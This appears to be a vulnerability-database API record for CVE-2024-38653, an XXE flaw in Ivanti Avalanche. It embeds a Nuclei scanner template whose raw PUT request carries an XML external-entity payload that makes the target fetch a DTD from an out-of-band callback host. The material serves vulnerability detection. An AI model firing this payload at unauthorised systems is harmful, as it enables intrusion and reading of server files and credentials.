{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2024-38653/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2024-38653/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2024-38653/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2024-38653/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2024-38653/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2024-38653"},"sightings":{"href":"/api/v1/sightings/cve-2024-38653"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2024/CVE-2024-38653.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2024-38653\n\ninfo:\n  name: Ivanti Avalanche SmartDeviceServer - XML External Entity\n  author: DhiyaneshDK\n  severity: high\n  description: |\n    XXE in SmartDeviceServer in Ivanti Avalanche 6.3.1 allows a remote unauthenticated attacker to read arbitrary files on the server.\n  impact: |\n    Unauthenticated attackers can read arbitrary files from the Ivanti Avalanche server, potentially exposing configuration files, credentials, and sensitive data managed by the device management system.\n  remediation: |\n    Upgrade to Ivanti Avalanche version 6.4.0 or later that addresses this XXE vulnerability.\n  reference:\n    - https://github.com/D4mianWayne/POCs/tree/main/CVE%202024-38653\n    - https://github.com/fkie-cad/nvd-json-data-feeds\n    - https://nvd.nist.gov/vuln/detail/cve-2024-38653\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2024-38653\n    cwe-id: CWE-611\n    epss-score: 0.91984\n    epss-percentile: 0.99816\n    cpe: cpe:2.3:a:ivanti:avalanche:6.3.1:*:*:*:premise:*:*:*\n  metadata:\n    max-request: 1\n    vendor: ivanti\n    product: avalanche\n  tags: cve,cve2024,intrusive,ivanti,avalanche,xxe,vkev,vuln\n\nvariables:\n  filename: \"{{to_lower(rand_text_alpha(5))}}\"\n\nhttp:\n  - raw:\n      - |\n        PUT /mdm/checkin HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/xml\n\n        <?xml version=\"1.0\" ?>\n        <!DOCTYPE a [\n        <!ENTITY % asd SYSTEM \"http://{{interactsh-url}}/{{filename}}.dtd\">\n        %asd;\n        %c;\n        ]>\n        <a></a>\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: interactsh_protocol\n        words:\n          - \"http\"\n\n      - type: word\n        part: interactsh_request\n        words:\n          - \"User-Agent: Java\"\n# digest: 4a0a00473045022100a98e55c85002fa6fc27e31350bd2e2b764725c943bc8c73a56620774b61b03e202204a1a9a783bf9ed6ab60c9fada8c909390b8bfcce189be8447132e6c9f4453e80:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2024-38653"}